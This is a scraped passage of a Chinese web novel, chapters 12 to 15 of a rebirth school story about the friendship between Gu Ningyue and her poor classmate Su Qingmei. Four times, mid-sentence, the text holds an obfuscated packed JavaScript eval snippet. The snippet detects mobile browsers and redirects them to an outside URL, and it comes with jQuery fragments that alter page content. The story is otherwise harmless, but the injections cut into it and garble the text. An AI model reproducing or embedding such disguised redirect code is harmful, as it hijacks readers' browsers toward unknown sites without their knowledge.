农村的生活离顾宁越非常遥远,她对云山之中村庄的印象完全来自苏晴眉的描述,通过苏晴眉的只言片语,顾宁越想象出一个清贫但淳朴美丽的世外桃源,村镇里的伙伴都亲切友好,苏晴眉有相依为命的母亲,还有一个养了很多小动物的院子,虽然苏晴眉物质上有所短缺,但是精神世界很丰富。 周三有节美术课,老师给每个人发了一张彩纸,有不同的颜色和花纹。 顾宁越找苏晴眉帮忙折纸,用红色波点的彩纸做了一个和苏晴眉一模一样的小口袋,把笔全部放进去,漂亮又别致。 她问苏晴眉:“这些彩纸好漂亮,你要不要也换个新的?” 苏晴眉领到的是一张白色小花的彩纸:“好,我也觉得好漂亮。” 下课以后苏晴眉没有把彩纸折的文具袋藏进抽屉,而是和顾宁越的彩纸文具袋一样放在桌面。 苏晴眉的前桌看到她俩的手工文具袋,眼前一亮,问顾宁越:“你们的笔袋怎么折的?好好看,比买的有个性多了,教我折一个吧。” 顾宁越用余光瞄了眼习惯性低头回避的苏晴眉,对同学说:“这是晴眉折的。” “啊?”同学很意外,她坐在苏晴眉前桌半年了,除了收发作业之类的必要沟通很少跟苏晴眉说话,她只知道苏晴眉是从山里灾区来的,很穷,据说不讲卫生,性格很孤僻不好相处,根本没想到苏晴眉竟然能做出这么好看的手工。 同学知道彩纸笔袋是苏晴眉做的后有点打退堂鼓,她又看了几眼那两个精致的手工作品,她真的很喜欢,既然顾宁越都找苏晴眉折了彩纸,为什么她不行,于是她不好意思地问苏晴眉:“这是我的彩纸,你可以教我折笔袋吗?” 苏晴眉惊讶地抬起头,腼腆地微笑:“好,我没有彩纸了,用草稿纸做示范。” “谢谢你,苏晴眉,你折的笔袋真好看。” 苏晴眉教前桌折笔袋,很快又围了几个同学过来凑热闹,他们学会手艺回去又传给周围的同学,顺带说一句“苏晴眉教的”。 下午上课的时候,老郑从讲台上望下去,很多同学的桌上都摆着彩纸笔袋,他边翻开语文书边说:“你们的文具袋怎么一夜之间实现大统一了?” 有个前排话痨的同学乐道:“郑老师,美术课发了彩纸,苏晴眉教我们折的。” 老郑拿起讲台边桌上的一个彩纸笔袋端详:“嗯,折得非常好。我们要形容一个人手巧可以用哪些词语?” 台下的同学积极回答:“心灵手巧。” “独具匠心。” “出神入化!” 老郑道:“不错,我们可以造句,‘心灵手巧的苏晴眉同学’,‘苏晴眉的折纸技术出神入化’。” 老师和同学都笑着看向教室后面的苏晴眉。 苏晴眉立即低下头,把泛红的脸躲进滑落的头发里,心脏扑通扑通乱跳,她第一次得到这么多同学的认可,很紧张,但是与之相对的是从未感受过的高兴! 这时,顾宁越轻轻拍了一下她的后背,苏晴眉慢慢地抬起了头,勇敢地回应大家的目光。 老郑:“好了,现在请翻开语文书,第十六页……” 同学们纷纷打开课本听讲。 曹慧冷声哼哼,把同桌挤到她桌上的彩纸笔袋推开:“丑东西别过来。” 曹慧的同桌莫名其妙:“你才丑。” 曹慧生气地摔笔,视线掠过走道对面,猛然发现崔屿茉居然也折了一个彩纸笔袋。 一下课,曹慧就跑去问崔屿茉:“不是,你怎么也折了个和黑妹一样的丑东西?” 崔屿茉微微一笑,淡淡的:“班长给我的,凯莉和瑜瑜她们也都喜欢。” 她举起彩纸笔袋:“慧慧,你觉得我这个好看吗?” 曹慧不情不愿地松了口:“好,看。我们茉茉的东西怎么会不好看,你最好了。” 崔屿茉挂着甜美和煦的笑容,转头看着手里的彩纸笔袋,眼中毫无笑意。 * 第三节晚自习放学,学生陆陆续续地离开教学楼。 顾宁越为了锻炼身体每晚都去操场跑步,她叫苏晴眉一起,可是被拒绝了,苏晴眉总是一下课就急急忙忙地赶回寝室,每次顾宁越回去以后苏晴眉都洗漱好坐在书桌学习了。 学校知道放晚自习后有很多学生在操场锻炼,所以都亮着整个操场的灯,教学楼和操场之间的小卖部也开着,直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16988993|193676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到宿舍快熄灯才会关掉操场上的照明,只留小部分的路灯。 可能晚饭吃得少,顾宁越只跑了半圈就饿了,她到小卖部买了一桶泡面。 回到寝室,苏晴眉果然在看书,钱丽洗了脸,正对着镜子摆弄她的瓶瓶罐罐。 “哎?宁越你回来啦。”钱丽从镜子里看到门口,回头招呼她,“哇噻你买泡面了?笋干老鸭煲味,新出的吗,我没吃过,一会我尝一口啊。” “行。”顾宁越爽快答应,到饮水机烧水准备泡面,她的抽屉里有很多吃的,分一点泡面给钱丽也还有其它食物,不怕吃不饱,只是跑步的时候突然馋泡面才买的。 顾宁越撕开泡面的包装,往桶里倒调料,跟旁边的苏晴眉说话:“这个口味不辣,你也吃点?” “我不吃,一桶面分量不多,待会你都不够了。”苏晴眉停下笔,转向她,“我刷过牙了。” “没事,我还有很多零食。不过你刷过牙不想吃就算了,晴眉,你每天洗漱都好早。” “嗯,熄灯以后不方便,早点洗了好。” 顾宁越泡好面,寝室里瞬间弥漫开香气,她刚刚揭开盖子,钱丽挤过来挑了一叉子吃:“嘶哈——好吃。” 顾宁越等她放下塑料叉,从抽屉里拿了一双筷子吃面。 钱丽擦着嘴说:“顾宁越,你等会留点汤给我喝哦。” “好。” 可能那股饿劲过去了,顾宁越看着泡面觉得没什么食欲,简单意思几口,喝了瓶牛奶就去洗漱。 顾宁越站在阳台,望着窗外的夜色刷牙,钱丽在房间里问她:“宁越,我能用一下你的爽肤水吗?” 顾宁越含着泡沫:“嗯。” “宁越,我再用一下你的保湿霜吧。” “昂?” “我用了啊。” 顾宁越没听清楚,转身看,钱丽打开她的保湿霜挖了一大勺。 “……” 她不知道这位新室友会不会一直这样“不见外”,她刚住校想和室友友好相处,但如果总是被抢第一口泡面,被用各种东西,那她也不是那么慷慨的。 顾宁越回身往洗手池里吐泡沫,忽然僵住,她看见下水口里冒出了两根黑色的长须,一抖一抖地前后左右晃动。 下一秒,一只小拇指大小的蟑螂窜出下水口,闪现洗手台。 “啊啊啊啊啊!!!” 顾宁越发出惊恐的尖叫,手里的陶瓷漱口杯啪嗒摔成碎片。 “顾宁越你叫啥?”钱丽刚走到阳台门口,看到那只硕大的蟑螂正在飞速地爬行,吓得魂飞魄散,“妈呀救命!大蟑螂!蟑螂要飞了!” 顾宁越小学暑假到农家乐玩被蟑螂爬过耳朵,从那以后特别怕虫,她听到钱丽的话更加恶心,头皮发麻,两个人在阳台上乱成一锅粥。 说时迟,那时快,一道敏捷的身影冲来,操起拖鞋对准那疾速的黑点就是猛力一拍——嘭! “好了,别害怕,已经没有了。”苏晴眉嗓音温和。 顾宁越躲在她背后,双手紧紧地抓着她的肩膀,声线发颤:“真,真的?” “真的……”苏晴眉正要说话,目光扫过地面,急忙抓紧顾宁越的手,一只胳膊抱住她,“顾宁越,你别动。” 13. 第 13 章 苏晴眉的语气很严肃,顾宁越惊慌未定自然不敢动弹,苏晴眉小心翼翼地往旁边移动,把墙角的扫帚和簸箕拿来,扫走顾宁越脚边的陶瓷碎片。 顾宁越光脚穿着凉拖鞋,她这才发现有一块碎片的尖角正对着她的脚,如果不是苏晴眉及时拦住她,刚才那么混乱的情况她很可能被碎片划伤。 苏晴眉很快把阳台打扫干净,熟练地用湿肥皂刮了一遍水台,再用抹布上下里外抹一遍,防止有细小的碎渣飞溅到水台上面。 “好了,你继续洗吧。”苏晴眉说。 顾宁越对她的感激之情升华出一丝崇敬:“晴眉,幸好有你,你又救了我一命。” 苏晴眉只当她是被蟑螂吓坏了,说话都夸张了许多,不好意思地说:“我不怕虫,你别担心,以后看到虫子叫我就好了。” 顾宁越即使到了三十岁也很怕虫子和蛇,写在她基因里的底层代码不会随着年龄增长而改变,她捂着胸口长舒一口气:“有你在太好了。” 躲在门后的钱丽走出来:“乡下来的就是不怕虫。” 苏晴眉从她旁边走过,低低应了声“嗯”,坐回书桌看书。 顾宁越接好洗脚水端进屋里:“怕不怕虫别和哪里来的划等号,哪里都有怕的,也有不怕的。” 钱丽坚持自己的观点:“农民要种地,要抓田里的虫,当然不害怕了,我们城里人怕虫是正常的。” “种田是农民的工作,有些人心里害怕也不得不面对,不是理所当然的不害怕,城里也有昆虫爱好者,他们不怕虫。” 钱丽停了一会,尴尬地笑:“我就说两句话,顾宁越你总呛我干啥?” 顾宁越干笑一声:“我这不跟你聊天吗?我就事论事,你别给我乱扣帽子。” “我怎么——” 苏晴眉开口:“钱丽,你多抓几次虫慢慢就不怕了。我就是顾宁越说的那种小时候怕虫但是强迫自己学会抓虫的农民。” “……”钱丽背过身不说话,爬梯子上床去了。 苏晴眉感谢地对顾宁越笑了笑,转回头做题。 顾宁越回给她一个温暖的微笑。 顾宁越就是看不惯钱丽张口闭口“乡下城里”的做派。刚才蟑螂在的时候钱丽溜得贼快,苏晴眉解决完蟑螂她就过来点评上了,好像苏晴眉生来就该为她驱赶虫子似的。钱丽冒犯苏晴眉的行为触到了顾宁越的底线。 顾宁越年少时脾气比较急躁,但她带着上辈子的记忆重生,内心稳重了很多,钱丽就是当面骂她她都不会生气。可是这辈子顾宁越的人生宗旨是不让恩人苏晴眉受半点委屈,所以钱丽有任何不尊重苏晴眉的言行她都必然会怼回去。 305寝顿时非常安静,能听见苏晴眉在纸上写字的沙沙声。 顾宁越被蟑螂和钱丽破坏了心情,比平常早一些上床休息,她靠着抱枕,横着手机玩植物大战僵尸。 上铺没有人开充电台灯,熄灯以后整个寝室陷入黑暗。 下面传来苏晴眉整理书桌的声音,然后是轻轻的脚步声,她动作缓慢地爬上床梯。 顾宁越的游戏打到了最惊险的关头,很多蹦极僵尸从天而降偷窃她正在奋勇作战的植物,特别可恶,她两只手飞快地操作游戏,死守最后的防御线,突然听到床下边“哐当”一声震响,夹杂着压抑的闷哼。 好像是苏晴眉爬床梯摔下去了! 顾宁越丢下手机,立马翻身下床:“晴眉你怎么样?有没有伤到?” 苏晴眉疼得直吸气,扶着后腰,让顾宁越搀扶着坐到椅子上。 “摔到胳膊和腰了?我看看。” 顾宁越打开台灯,黑暗的空间霎时变得明亮,光线扑向苏晴眉的脸,她下意识眯眼睛。 顾宁越挽起苏晴眉的秋衣袖子,肘部有点小擦伤,后腰和臀部的情况她就不方便查看了,不过从苏晴眉能正常运动的情况看来没有大碍。 苏晴眉揉揉腰,脸色有点发白,她缓了一会小声地说:“我没事,只是爬梯子踩空摔了一下,还好不高。” 顾宁越不放心:“你看看腰呢?” 苏晴眉把手伸进衣服里摸了摸,说:“没事,我现在好点了。” 顾宁越坐在下边陪她:“我开着灯,你再缓缓,等会我扶你上去。” 苏晴眉忙道:“不用的,你快去睡吧,我真的没关系。” 钱丽在上铺翻了几个身,拥着被子坐起来:“苏晴眉,我说真的,你那老电筒真不能用了,你实在不行借钱买个充电灯。” 顾宁越闻声看向她,回头又看苏晴眉:“电筒?” 苏晴眉局促地扑闪几下睫毛,抿了抿唇:“我妈妈给我的电筒。” 钱丽:“她没有充电灯,熄灯以后都用电筒,彻底没电了还舍不得换电池。” 苏晴眉像霜打了的茄子一样蔫下去,毛躁的头发在灯光下呈现出黯淡的枯黄色。 顾宁越皱眉,眼里泛起波光,她的心像被揪了一下,隐隐作痛。 她怨自己,苏晴眉没有充电灯这么明显的事她怎么没一开始就发现呢?都怪她每天听到熄灯铃就上床了,要是她多在下面陪苏晴眉一会就能发现问题。 用电量不足的手电筒看书得多伤眼睛…… 顾宁越仔细想了想,苏晴眉上课的时候经常眯眼睛,还会问她黑板上写的字,这些迹象证明苏晴眉已经有比较严重的近视了。 顾宁越的眼中充满自责和疼惜,柔声说:“明天早上我陪你去医务室。” 苏晴眉的神情看起来有所顾虑:“我只是摔了一下,过两天就好了,不用去医务室。” 顾宁越用眼神宽慰她:“我陪你去,其它的你一概不用担心。” “可——” “那我现在就带你去市医院。” 苏晴眉怔了怔,终于同意她:“我知道了,明天我去医务室。” 顾宁越陪苏晴眉缓过劲儿,把灯拿到上铺照明,扶苏晴眉爬到上铺,等她躺下盖好被子了才上床睡觉。 第二早,上早自习之前顾宁越就跟老郑说了苏晴眉摔倒的事,请假带她去医务室。 和顾宁越估计的一样,校医检查说苏晴眉只是轻微的擦伤和扭伤,开了点治疗跌打损伤的药,叮嘱苏晴眉最近不要剧烈运动,小心保养。 医生给苏晴眉开药的时候,顾宁越看到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16988994|193676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 医生的电脑界面,医务系统里记录有苏晴眉的个人信息,生日是9月29日,差不多比顾宁越小一岁。那再过两周就是苏晴眉的十六岁生日了。 苏晴眉的药费是老郑出的,不过他没有告诉苏晴眉,只说是学校的医疗补助,苏晴眉听了才放下心来。 两个人拿了药回教室,苏晴眉把鼻子凑到药盒上嗅了嗅,叹气:“这种品质拿来做成药……” 顾宁越不明白她的话是什么意思:“药不好吗?” 苏晴眉翻看药盒的说明书:“这药的主要成分是芎藭,我家里种芎藭,我爸以前在的时候也带我进山里采过野生的,我的嗅觉很好,一闻味道就知道不一样。” 苏晴眉怕顾宁越误会,连忙说:“我用这个药足够了,医生开给我的肯定没问题。” 顾宁越不用猜也知道学校的医务室不会用太好的药:“你先用着观察,没有好转我们再去市医院。” 苏晴眉脑袋摇成拨浪鼓:“有好转,我已经好多了。”甚至迈大步子证明自己的腰没事。 顾宁越忍俊不禁,苏同学为了节约钱和时间不去医院真是使尽了浑身解数。 上辈子顾宁越躺在病床上,偶尔听护士聊过几句,说苏总的公司研发的药妆专利很厉害。现在看来,苏晴眉在药材方面的天赋很早就显现出来了。 午休时间,顾宁越没在教室写作业,到学校里的两家文具店逛了逛。 刚开学那一周两家店为了迎接高一新生都在做折扣活动,可惜这会都结束了,充电台灯暂时售罄,胖叔文具倒是还剩两盏尾货,不过都有瑕疵,顾宁越想到明天就放周末了,不如去光悦选一盏好的护眼灯。 路过小卖部,顾宁越顺道买了一点零食,结完账,看见崔屿茉坐在外摆区的大伞下喝咖啡,崔屿茉察觉到她的视线,转头对她微笑,顾宁越没跟她打招呼,崔屿茉也没说话。 顾宁越往前走,正巧见到曹慧在食堂后门跟钱丽说拜拜,然后到小卖部找到崔屿茉,在她对面坐下一起看《昕薇》,闺蜜俩有说有笑。 顾宁越这才想起来苏晴眉说过曹慧也住305寝室,不过只有午休,晚上不住校。如此看来,钱丽跟曹慧的关系应该不错,难怪之前跟顾宁越打听为什么不和崔屿茉玩了。 没买到充电灯,顾宁越叫苏晴眉周末先用她的,她家里还有别的,周日带过来。 * 周五放学,顾巍打电话带顾宁越去参加宴席,顾宁越下课就先行一步。 苏晴眉回寝室换外套,准备去小食光上班。 钱丽也在寝室里。 她收拾着衣柜,看了眼苏晴眉桌上摆着的顾宁越的台灯,说:“晴眉,你不会把顾宁越说的话都当真了吧?” 苏晴眉拉上外套拉链:“什么?” 钱丽露出怜悯的眼神:“她那么有钱,以前只看得上崔屿茉那样长得漂亮,家庭条件好,学习成绩好的,你真觉得她愿意跟你做朋友?” “你没有权力管顾宁越和谁交朋友。”苏晴眉的嗓音冷冽,犹如雪山上的风。 她蹙起眉头,目光深沉地直视钱丽的眼睛:“而且,不管她愿不愿意,我都愿意。” 14. 第 14 章 苏晴眉握紧钥匙走出寝室门。 钱丽在后面喊:“苏晴眉,顾宁越莫名其妙的就不理崔屿茉了,她也可以莫名其妙的就不理你。她现在就是看你可怜,能在你身上找到很强的优越感,觉得新鲜,过几天就不跟你玩了,你不信等着看吧,到时候可别怪我这个室友没提醒你!晴眉,我也是害怕你以后难过,关心你啊……” 苏晴眉快步在过道里走着,她的表情越来越气愤,突然,她停下脚,转身走回寝室。 “钱丽,我不喜欢做无意义的辩驳,但是——” 钱丽正背对着门往包里装课本,冷不丁听到苏晴眉的话吓了一跳。 她回头,苏晴眉立在门框之中,像一棵凌霜的寒松,清澈的双眼坚韧孤傲:“但是请你记住,我不是傻子,谁是真诚的对我好,谁是贪得无厌、两面三刀,我分得清楚!” 苏晴眉说完便扬长而去。 钱丽过了两秒才回过味,这时苏晴眉早就没影了,钱丽只能对着走廊发气:“你骂我贪得无厌两面三刀?苏晴眉你个乡巴佬学过成语吗?我关心你才提醒你,你居然反过来骂我,狗咬吕洞宾!” 黄昏将近,夕阳的金色从远远的天边洒来,天空和云朵宛如浸泡在琥珀里。 街道车水马龙,路口的小院中秋菊吐蕊,餐厅大门的地毯上印着可爱的猫爪图案。 小食光的玻璃门一开一合,苏晴眉把单词本藏进围裙兜,站在柜台后面抬起头:“欢迎光临。” 来客是两个女生。 一个散着乌黑亮丽的长发,明眸皓齿,怀里抱着装有鲜花小熊的透明礼盒,另一个扎着慵懒的低马尾,皮肤雪白,肩上背着一只书包,手里还提着一只,她们都穿着桐溪实中的校服。 长头发的女生苏晴眉不认识,但她认得那个背书包的女生。 苏晴眉正想打招呼,对方先叫了她的名字:“苏晴眉。” “庄晓。”苏晴眉有点意外,这位同学坐在顾宁越的前桌,平时话很少,看起来很冷漠不太好接近,她没想过庄晓会主动跟她问好。 长发女生惊奇道:“州州,你们认识啊?” 庄晓把书包放到最近的卡座:“我们班同学。” “噢!”长发女生对苏晴眉微笑,“你好,我叫乔梦灵,我是四班的。” 苏晴眉赶忙把菜单给她们:“你好,看看想吃什么,特别推荐猪扒饭和菠萝油。” 乔梦灵接过去菜单,眼睛亮晶晶的:“哇,手绘菜单耶,好漂亮!” 乔梦灵把菜单给庄晓看:“我要吃猪扒饭,你要吃什么?” “你帮我点。”庄晓翻到菜单最后,“再要一份陈皮红豆沙。” 苏晴眉记下来:“好的。” 乔梦灵把菜单还给苏晴眉:“谢谢!”转头问庄晓:“你怎么知道我想吃红豆沙?” 庄晓耷拉着眼皮看了她一眼,没回答,戴上兜帽,趴到桌子上假寐。 乔梦灵笑着戳了一下庄晓的帽子:“就知道睡,小心睡眠中毒。” 苏晴眉到厨房报了菜,过来给客人倒柠檬水。 乔梦灵拉着她聊天:“你的名字是晴天的晴,眉毛的眉吗?好好听啊,就像一幅丹青,画着阳光下的青山,特别美。晴眉,我好羡慕你在这么可爱的茶餐厅兼职,闻到香香的奶油味什么坏心情瞬间都能治愈。你喜欢看小说吗?我最近看了几本古代穿越,超好看……” “嗯……”苏晴眉第一次和这么活泼的同学交谈,虽然插不上话,有些话听不懂有点尴尬,但苏晴眉很喜欢这种欢快的氛围。 乔梦灵噼里啪啦地聊了很多,打开透明礼盒,从鲜花小熊的耳朵上取下一朵洁白的雏菊,放到苏晴眉的手心:“送给你,我今天收到了礼物,我要把我的开心分享给你~” “谢谢。”苏晴眉受宠若惊,捧着娇嫩的花朵,“今天是你的生日吗?店里会给过生日的顾客送一杯奶茶。” 乔梦灵笑起来眼睛弯弯的:“不是不是,我昨天路过花店看到这个小熊觉得特别可爱,今天庄晓就送给我啦~” 苏晴眉看了看一旁,庄晓睁开眼睛望向她俩。 苏晴眉心中莫名的忐忑:“乔梦灵,这花是庄晓送你的,我不能要这个,你的好意和开心我都感受到了,谢谢你。” 说着,她把雏菊放回礼盒上边。 乔梦灵忙道:“没关系呀,大家都是朋友,送你一朵,礼物就是要一起分享嘛,要是一点礼物都不好意思收,那就不算真朋友。” 苏晴眉听到这句话,突然联想到顾宁越跟她说的:你就放心地用我给你的东西,你的存在本身就值得。 苏晴眉陷入沉思,反思自己总是拒绝好意的行为是不是也会让顾宁越为难…… 庄晓说:“苏晴眉你拿去吧,不然她会不高兴。” 乔梦灵哼唧:“我才不会不高兴。” 苏晴眉环顾四周,找来一只小花瓶,把雏菊放进去:“我把花养在店里,这样你的开心就能传递给更多人,好不好?” 乔梦灵竖起大拇指:“非常棒!” 厨房摇铃,苏晴眉去给她们传菜。 周末的晚上生意很好,店里来了很多客人,苏晴眉忙得脚不沾地,直到乔梦灵跟她说再见和庄晓离开小食光,苏晴眉都没有空闲再和她们聊一句话。 八点半后,客人陆续离开,店里重归安静。 苏晴眉收拾餐具到厨房清洗,陶姐烤了一个蛋挞给她:“天冷,吃个热乎热乎。这是烤糊了点报损的,不扣工钱,你放心吃。” “谢谢陶姐,你吃吧。” “我还有呢,你吃。”陶姐笑道,“小苏,自从上次你同桌来过以后,你性格都变阳光了,还多了朋友。” 苏晴眉也不知道乔梦灵怎么和她聊着聊着就把她称作好友了,教科书式的自来熟莫过于此吧。 如果说顾宁越像炽热的骄阳,那乔梦灵就像跳跃的星光,都是明亮的,耀眼的。 陶姐说:“你的同桌是个好姑娘,你可要珍惜,等你到了我这个岁数就知道,能帮你出头,让你精神面貌变好的朋友有多珍贵。” 苏晴眉重重地点头:“嗯,我明白。” 苏晴眉明白顾宁越很好。 这个“好”不是顾宁越对她好,而是她懂得顾宁越本身就是个善良,正义,勇敢的人。 顾宁越关心她的身体健康,借她卫生巾,陪她去医务室;顾宁越小心地维护她的尊严,让全班流行用彩纸折的笔袋,消除她没有钱买文具袋的自卑;最重要的是,顾宁越让她明白了自己的价值,让她意识到什么是真正的自尊,自爱,自强。 所以,任何人都不准在她面前诋毁顾宁越,所以,一向不善言辞的她才会怒怼污蔑顾宁越的钱丽。 苏晴眉更加坚定了努力读书的决心,一定要考上大学,工作自立,成为自己想成为的人,成为能让顾宁越拿出去炫耀的朋友。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16988995|193676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 漆黑的夜晚,只有一个人的寝室不再孤寂。 苏晴眉点亮顾宁越留给她的小台灯,书桌周围一片光明。 她伏案学习,写下的一笔一划都是对未来的希望。 * 周日下午,顾宁越提着大包小包的东西到寝室。 苏晴眉刚刚兼职回来,眼看顾宁越左手拎的口袋快要掉下去,连忙帮她提到桌上。 顾宁越脱掉书包,叫苏晴眉:“正好你回来了,晴眉,我有东西要给你。” 苏晴眉习惯性地想要婉拒,忽然想起周五和乔梦灵的聊天,她把拒绝的话咽下去,尝试着以真正的朋友身份去和顾宁越相处。 她大胆地表达出好奇的情绪:“是什么?” 顾宁越顿了顿,旋即爽朗地笑道:“充电台灯,我周五不是跟你说我家还有吗,我拿过来了。” 苏晴眉露出欣喜的笑容:“谢谢你,我真的很需要一盏台灯,等我攒够钱买灯以后就还给你。” 顾宁越把从光悦新买的护眼灯给她:“那你就高考以后再还呗。” 苏晴眉稍作思忖,笑道:“那我觉得我这学期打工还是能攒够钱的。” “哈哈,是的,我相信你。” 顾宁越在心里松了口气。 她本以为苏晴眉又会拒绝,连劝她收下台灯的说辞都想好了,幸好苏晴眉大方地接受了。 能看见苏晴眉逐渐打开心扉变得坦然,真好。 说起来,晴眉果然不会拒绝和学习有关的事情! 还有一周就要迎来这学期的第一次月考。 整个五班最紧张的就是顾宁越,因为对其他同学来说这只是一次月考,可对于顾宁越来说,这是她重生以后的第一次大型正规考试,也是对她这一个月来学习成果的检验。 尤其是她的同桌兼室友是堪比“无情学习机器”的苏晴眉,更让顾宁越倍感压力,使出了两辈子的力气背书刷题,植物大战僵尸不敢打了,电影不敢看了,每天晚上跟苏晴眉一起挑灯夜战,困到哈欠连连了才上床睡觉,梦里都在背文言文和化学方程式。 皇天不负有心人,顾宁越的月考成绩进步了,虽然只是回到了她高中时期原本的水平,但和周考的滑铁卢作对比已经有了很大的起色。 课间休息,顾宁越坐在座位整理错题集,忽然闻到身旁飘来一股清甜的花香,她猛然皱眉,胃里条件反射的恶心。 这种类型的香水味,她上辈子闻过太多次,也送过太多次了。 顾宁越不用抬头都知道是谁,冷声道:“是你的位子吗就乱坐,经过别人允许了?” 周围传来同学们的窃窃私语:“啧,又没有惹她,干嘛对茉茉那么凶……” 顾宁越故意大声说话:“谁啊?大声点,我听不见。” 周遭瞬间安静了。 崔屿茉坐在苏晴眉的座位上,轻咳一声:“阿越,你跟我出去一下,我有话跟你说。” 顾宁越头也不抬:“我再说一遍,你别坐她的位子。” 崔屿茉瞟过课桌上简陋的中性笔和老土的铅笔,撇了撇嘴。 她的余光看到窗外有一个人影向后门走来,等到那人走进教室,崔屿茉向左微倾,滑落的碎发碰到顾宁越的肩膀。 苏晴眉停住脚,沉静地望着她被占据的座位。 崔屿茉的声音温婉柔美,像撒娇的波斯猫:“阿越,你国庆节陪我一起去法国吧?” 15. 第 15 章 去国外旅游,在十几年前的四线小城市是一件很有面子的事,大部分普通家庭的孩子都比较向往。 当听到崔屿茉提出一同去法国的邀请,周围的同学都发出羡慕的声音。 顾宁越不耐烦:“你谁啊,还要找人陪?找你妈爸呗。” 崔屿茉沉下脸,耐着性子说:“我妈爸肯定陪我去呀,我想叫你也一起去。” “不去,没钱。”顾宁越终于停下手中的笔,抬起头,“你说完了吗,马上要上课了,请你不要占用别人的座位。” “阿越……”崔屿茉颦蹙秀眉,委屈的容颜我见犹怜。 “崔屿茉,这是我的位子。”苏晴眉走到座位旁边,语气很平和,听不出情绪。 崔屿茉回头看了她一眼,没回话,转身对顾宁越说:“阿越,你再考虑一下,我明天晚上给你打电话。” “我不考虑,你别给我打。” 崔屿茉对她笑了笑,起身离开,几个看热闹的同学也跟着散了。 苏晴眉回到座位刚要坐下,顾宁越从包里拿了张酒精湿巾出来:“晴眉,等等,先擦干净再坐。” 在顾宁越眼里,崔屿茉和瘟神没有差别,凡是她坐过的,碰过的地方,必须要擦干净。 苏晴眉的表情虽然有点疑惑,但她没有疑问,把湿巾接过去,照顾宁越说的把桌椅都擦了一遍,干透了才坐。 第一道预备铃结束,还有两分钟打上课铃。 苏晴眉拿出英语月考卷,老师说这节课要讲。 她垂着睫毛犹豫一会,小声问:“你……不跟她去法国旅游吗?” 顾宁越看向她:“不去。” 苏晴眉顿了两秒,话音变得更小:“我可以问为什么吗?” 顾宁越知道班里所有人都很奇怪为什么她突然就跟崔屿茉翻了脸,苏晴眉有这个疑问是正常的,毕竟一个卑微的讨好者突然挺直腰做人了,还对原来的讨好对象避之如蛇蝎,任谁都会奇怪。 因为大家都不知道崔屿茉光鲜亮丽的外皮下裹藏着着多么恶毒的灵魂,她太擅长伪装和欺骗,以至于顾宁越上辈子直到破产前都没看清她的真面目。 顾宁越没必要跟其他人解释,但她心甘情愿地向苏晴眉坦诚:“因为我现在很讨厌崔屿茉,很讨厌,很讨厌,很讨厌。” 重要的事情说三遍,已然达到憎恶的最高级。 和爱一个人的心情是藏不住的一样,厌恶一个人的情绪也是能让人清晰感受到的。 苏晴眉的眼神变化,显然读懂了顾宁越表达的情绪,她点点头,说她明白了。 至于顾宁越讨厌崔屿茉的原因,苏晴眉没有多问,她从来就不是一个多管闲事的人,对于她来说光是顾好自己就得拼尽全力。 顾宁越再和苏晴眉说话,语气柔和许多:“旅游很有趣,有机会的话你愿意和我去旅游吗?” 苏晴眉微微一怔,缓缓地说出两个字:“我,吗?” “嗯,可能……高考以后?”顾宁越知道苏晴眉一门心思扑在学习上,休息时间都在打工,高中这两年是肯定没精力去旅游的。 苏晴眉表情很认真地思考,道:“我想去。” “那预祝我们都考上好大学,到时候就能开开心心地去旅游了。” 顾宁越在心中构想着这样的美好。 她想把苏晴眉喜欢的风景都走一遍,就像上辈子在病房里,苏晴眉把顾宁越喜欢的风景投影在幕布上,陪她度过一个个和白昼和黑夜…… 傍晚六点,校园之声广播站准时播放。 “欢迎大家收听今天的校园之声,我是播音员,崔屿茉。一天精彩的课程又结束了,黄昏时刻,瑰丽的晚霞照耀着我们,给我们带来美好的心情……” 吃完晚饭,顾宁越在落叶的道路上走着,她和苏晴眉一起散步,到小卖部买零食。 自从九月份天气转凉,小卖部就把放在收银台的冷饮柜撤下去,换上了保温的暖饮柜。 顾宁越打开保温柜,里面摆了很多统一的星座奶茶,她记得高二那年特别流行这个,大家都喜欢买自己对应的星座包装。 顾宁越买了两盒,苏晴眉凑过来看包装上印的星座图案:“你买了你的星座吗?” 顾宁越把两个奶茶盒的正面给她看:“没有,今天没有我的星座。” 苏晴眉的话音里流露出一点可惜:“噢……” 顾宁越边走边问:“你是什么星座?” 苏晴眉歪头:“我只听说过一些星座的名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 